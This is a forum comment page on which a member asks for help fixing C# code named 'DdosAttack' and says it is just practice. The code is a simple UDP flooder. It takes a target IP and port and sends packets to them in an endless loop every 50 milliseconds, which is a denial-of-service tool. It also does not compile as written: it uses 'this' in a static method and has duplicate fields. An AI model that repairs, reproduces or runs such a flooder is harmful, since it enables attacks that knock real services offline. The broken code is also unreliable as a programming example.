Click here to Skip to main content
15,909,530 members

Comments by Member 12354696 (Top 1 by date)

Member 12354696 27-Feb-16 0:40am View    
can you help me with this code i am working on something else now what am i dont wrong here? please not the title ddos attack is not to send any attacks to anyone im just using this as a practice workout C# program
anyway heres the code!


using System;
using DdosAttack;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace DdosAttack
{
class Program
{
private Action<object, DdosAttack.Program> button_Click;

public Program(Action<object, DdosAttack.Program> button_Click)
{
{ }
this.button_Click = button_Click;
}
public static string ip;
public static string text;
public static string txtfile;
public static int count = 0;
public static int port;
private Action<object, Program> Button_Click;

Program()
{
NewMethod(button_Click);
}

private static void NewMethod(Action<object, Program> button_Click)
{
var program = this;
program.Button_Click = button_Click;
}

public static void main()
{
if (GetFile())
{
using (StreamReader sr = new StreamReader(txtfile))
text = sr.ReadToEnd();

GetInfo();

while (true)
{
if (Send())
{
count++;
Console.WriteLine($"{count} Packet(s) have been send!");
Thread.Sleep(50);
}
else
{
Console.WriteLine($"Error while sending packets!", ConsoleColor.Red);
Thread.Sleep(50);
}
}
}
else
{
main();
}
}

public static bool GetFile()
{
Console.Write("Type the path to your .txt file: ");
txtfile = Console.ReadLine();

if (File.Exists(txtfile))
return true;
else
return false;
}

public static void GetInfo()
{
Console.Write("IP: ");
ip = Console.ReadLine();

Console.Write("Port: ");
port = Convert.ToInt32(Console.ReadLine());
}

public static bool Send()
{
byte[] packetdata = Encoding.ASCII.GetBytes(text);
IPEndPoint ep = new IPEndPoint(IPAddress.Parse(ip), port);
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

try
{
sock.SendTo(packetdata, ep);
return true;
}
catch (Exception ex)
{
return false;
}
}
}
}